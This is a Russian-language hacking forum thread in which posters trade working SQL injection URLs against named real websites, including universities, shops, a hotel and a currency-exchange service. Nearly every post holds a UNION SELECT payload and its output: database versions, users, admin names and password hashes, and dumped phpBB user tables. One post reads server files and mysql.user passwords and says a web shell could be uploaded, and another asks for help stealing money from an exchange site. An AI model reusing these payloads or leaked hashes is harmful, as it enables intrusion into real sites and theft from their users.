SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. SkyLine32

    SkyLine32 Member

    Joined:
    1 Mar 2009
    Messages:
    144
    Likes Received:
    22
    Reputations:
    2
    Харківський національний університет внутрішніх справ :D
    Database Version: 5.0.67-log
    Database name: univd
    User name: univd@localhost
    Таблиц огромное количество.
     
    2 people like this.
  2. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://www.abiturcenter.ru/testi/begin.php?log=guest&step=2&sc_id=15+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6/*
    4.0.27-log:[email protected]:abiturdb

    ТИЦ 1600
     
  3. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.donstroy.info/architectors/demon.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4
    [email protected]:donstroy:4.0.27
     
    1 person likes this.
  4. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://ihtc.ru/device.php?id=-39+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,concat_ws(0x3a,version(),user(),database())
    4.1.22:[email protected]:digs_ihtc

    на сайте есть форум, phpbb, попробуем обратиться к phpbb_users

    http://ihtc.ru/device.php?id=-39+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+from+phpbb_users
    "38" выводится, пробуем вырвать юзеров и пароли

    http://ihtc.ru/device.php?id=-39+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,concat_ws(0x3a,user_id,username,user_password)+from+phpbb_users+limit+1,1

    меняем limit...


    Code:
    -1::Anonymous
    2:912cf5e2e231609b0d0fce0f677dc579:newspalm
    3:25849d65beb0a2793b2c2d0dd72b84cc:Megabass
    4:470671a0ab36f8e7c496312fc794122e:/DiOs
    5:421b47ffd946ca083b65cd668c6b17e6:quinine
    6:a2c97337264f510aaba2f42f0a58a66f:InReklama
    7:8d0c6f638e1326e65c53beba2a41b1eb:Gover
    8:7d82c72e13cb1fe7b29b1cba10d468c3:Denis
    и т.д.

    ------------------

    http://www.blesna-n.ru/fotoalbum.php?rez=-2+union+select+11111,22222,concat_ws(0x3a,version(),user(),database())
    отображается в ссылке (<A HREF=../pic/big_regats/4.1.22:[email protected]:wwwblesnanru target="1" или просто посмотреть в статусе при наведении на месте где должна была быть фотка :) )

    ----------------

    http://www.clever.saratov.ru/site/photo/index.php?id_parent=2+and+substring(version(),1,1)=5

    -----------------

    http://www.3eye.ru/screen-info.php?screen=-7+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9
    4.0.17:3eye@localhost:3eye
     
    #9704 AlexSatter, 9 Jun 2009
    Last edited: 9 Jun 2009
  5. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    http://www.gmpr.ru
    gmpr@localhost
    5.0.45-log
    gmpr

    Логин: 26
    Пасс:55
    Куда вводить ХЗ ))

    http://www.mobilecomm.ru
    [email protected]
    z90196_mobilecom
    5.0.32-Debian_7etch4-log
     
  6. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.konka.co.nz/productdetail.php?id=33+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15+limit+1,1/*
    version():4.1.22-standard-log
    database():ncpgroup_konka
    user():ncpgroup_konka@localhost

    Code:
    http://www.konka.co.nz/productdetail.php?id=33+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15+from+users+limit+1,1/*
    admin:21232f297a57a5a743894a0e4a801fc3
     
    2 people like this.
  7. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.thefashioninsider.com/mobil.php?rub=supermodels&id=35+and+substring(version(),1,1)=3
    Code:
    http://comicstrip.ca/make.php?id=282+and+substring(version(),1,1)=5
     
    1 person likes this.
  8. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.cis.uab.edu PR 5
    Code:
    http://www.cis.uab.edu/news/sem_details.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6/*
    Database version : 4.1.20-log
    Database name : db
    User name : [email protected]
     
    1 person likes this.
  9. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    http://www.scorcher.ru
    scorcher0@localhost
    5.0.27
    scorcher


    Юзеры какие-то
    [email protected]
    af2dyfoj97nAU
    fornit

    Автор сайта походу постебатся решил над хакерами ))
     
    1 person likes this.
  10. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://leoshow.com/short.php?id=-33+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9/*
    4.0.27-log:[email protected]:artmasterofby
     
    1 person likes this.
  11. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.adecor.ru/plastic-one-subitem.php?item_id=1&subitem_id=-6+union+select+1,table_name,3,4+from+information_schema.tables+/*+

    http://adekor.ru/plastic-one-subitem.php?item_id=2&subitem_id=-10+union+select+1,table_name,3,4+from+information_schema.tables+/*+

    http://www.superkrovlya.ru/files/print_page.php?ID=&t=d&mid=-151+UnIoN+SeLecT+database(),2,3,4,5,6,7,8+/*+&item_id=54

    http://www.partymaker.lv/?l=-1'+union+select+1,2,3,concat_ws(0x3a3a,database(),version()),5,6,7+--+&item_id=13
    partymaker::4.0.26
     
    1 person likes this.
  12. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.mbvo.wwu.edu PR 5
    Code:
    http://www.mbvo.wwu.edu/abstracts/abstractText.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5--
    Database version : 5.0.75
    Database name : mbvo
    User name : mbvoUser@localhost
     
    1 person likes this.
  13. BHYCHIK

    BHYCHIK Member

    Joined:
    30 Jan 2009
    Messages:
    52
    Likes Received:
    28
    Reputations:
    9
    Уязвимость на сайте http://www.marcialpons.es

    Уязвимый скрипт: http://www.marcialpons.es/fichalibro.php?id=100708769

    Версия БД: 4.1.20
    Имя БД: Libreria
    Юзер: root@localhost
    ОС: redhat-linux-gnu

    Директория сайта:
    /var/www/html

    Есть привелегия типа файл, вот .htaccess в папке admin:
    http://www.marcialpons.es/fichalibro.php?id=100708769%27+and+0+union+select+1,2,3,LOAD_FILE(%27/var/www/html/admin/.htaccess%27),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85--+

    Можно залить шел.

    Есть доступ к mysql.user
    http://www.marcialpons.es/fichalibro.php?id=100708769%27+and+0+union+select+1,2,3,concat(user,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85+from+mysql.user--+

    Моё видео со взломом этого сайта
    http://forum.antichat.ru/showthread.php?p=1319721#post1319721
     
    2 people like this.
  14. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.evergreenrecreation.com PR 4
    Code:
    http://www.evergreenrecreation.com/facilities.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12/*
    Database version : 4.1.25-Debian_mt1
    Database name : db49768_eprd
    User name : [email protected]

    users:
    Code:
    http://www.evergreenrecreation.com/facilities.php?id=-1+union+select+1,2,3,concat_ws(0x3a,username,password),5,6,7,8,9,10,11,12+from+users/*
    username : eprdadmin
    password : 665c6986e7fbd5ef7c89d2cbb1464f2b
     
    1 person likes this.
  15. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    3-ий мускул
    http://www.1019thewave.com/community/promo.php?id=12+and+substring(version(),1,1)=3
    ----------------
    http://www.mygreatfood.com/promo.php?id=-2+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),user(),database()),9,10,11,12,13,14,15
    5.0.45:mygreatfood@localhost:mygreatfood

    куча таблиц, на что-то интересное похожф MemberInfo
     
  16. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://nmefc.nmt.edu PR 4
    Code:
    http://nmefc.nmt.edu/ContactUs.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user())--
    Database version : 5.0.67-0ubuntu6
    Database name : nmefc
    User name : nmefcpub@localhost
     
  17. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://galadarihotel.lk/promo.php?id=-4+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7
    5.0.77-community:galadari_user@localhost:galadari_db

    в таблицах нет юзера/пассворда.

    http://www.bestofbeing.ca/promo.php?id=-9+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7
    4.1.25-Debian_mt1:[email protected]:db15459_bestofbeing
     
  18. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    PR5
    Code:
    http://cs.tcnj[SIZE=4][COLOR=White].edu[/COLOR][/SIZE]/website/facultyview.php?id=-99999+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    Database Version: 5.0.51a-3ubuntu5.4
    Database name: deptWebSite
    User name: [email protected]

    Getting Data from table g2_User ( Rows) from database gallery2
    Fields g_userName:g_hashedPassword

    [0]:guest:1R\\0c363332a05345c8e22287768abe7bcd
    [1]:admin:LjSE938e074bdcdd55e531547bf94f2decde

    http://cs.tcnj.edu/gallery2/main.php
     
  19. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    опять 3-ий мускул
    http://www.ultra-it.com/promo.php?Id=2+and+substring(version(),1,1)=3
     
  20. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25

    http://simbatron.ru

    simbatron : Ввод, вывод, купить, продать, обмен Webmoney, наличные E-gold. Карты WMZ, WMR. Переводы Western Union, Wire Transfer, WM, Fethard, Яндекс.Деньги


    http://simbatron.ru/auto_sota.php?metod=popoln&pnump=-375'+UNION+SELECT+0,concat_Ws(0x0b,0x0b,user(),version(),database(),0x0b),2+--+&p=201

    [email protected]
    4.1.22
    simbatron_db


    если кто найдет как спионерить деньги стучите в ЛС, буду благодарен ))))
     
    3 people like this.
Thread Status:
Not open for further replies.